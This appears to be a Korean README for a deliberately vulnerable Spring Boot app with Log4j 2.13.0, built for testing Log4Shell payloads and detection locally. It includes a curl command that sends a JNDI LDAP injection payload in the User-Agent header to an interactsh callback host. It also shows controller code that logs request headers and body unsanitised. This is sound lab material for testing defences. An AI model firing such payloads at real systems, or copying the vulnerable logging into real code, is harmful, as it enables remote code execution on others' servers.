
이것은 프로덕션 대상에 적용하기 전에 로컬에서 도구/페이로드/탐지 기능을 테스트하기 위한 임시방편 스프링 부트 hello world 프로젝트입니다.
구성된 Log4j 버전은 2.13.0입니다.
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
차고에서 burp collaborator를 실행 중이지 않다면, 비슷한 경험을 얻을 수 있는 이 사이트를 방문할 수 있습니다: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
선택적으로 로컬/대량 스캔을 수행하기 위해 이 멋진 저장소를 사용할 수 있습니다: https://github.com/adilsoybali/Log4j-RCE-Scanner
이 취약점의 핵심은 사용자가 제어하는 값을 취약한 로깅 프레임워크가 기록하도록 강제하는 것입니다. 이 점을 염두에 두고, 이 간단한 더미 애플리케이션은 두 가지 HTTP 동사(GET/PUT)와 여러 주입 위치를 지원합니다:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
기여/개선은 환영합니다.
코드 품질에 대해 사과드립니다 :) 이 프로젝트는 자랑하려는 것이 아니라 공유하고 도움을 주기 위한 것입니다.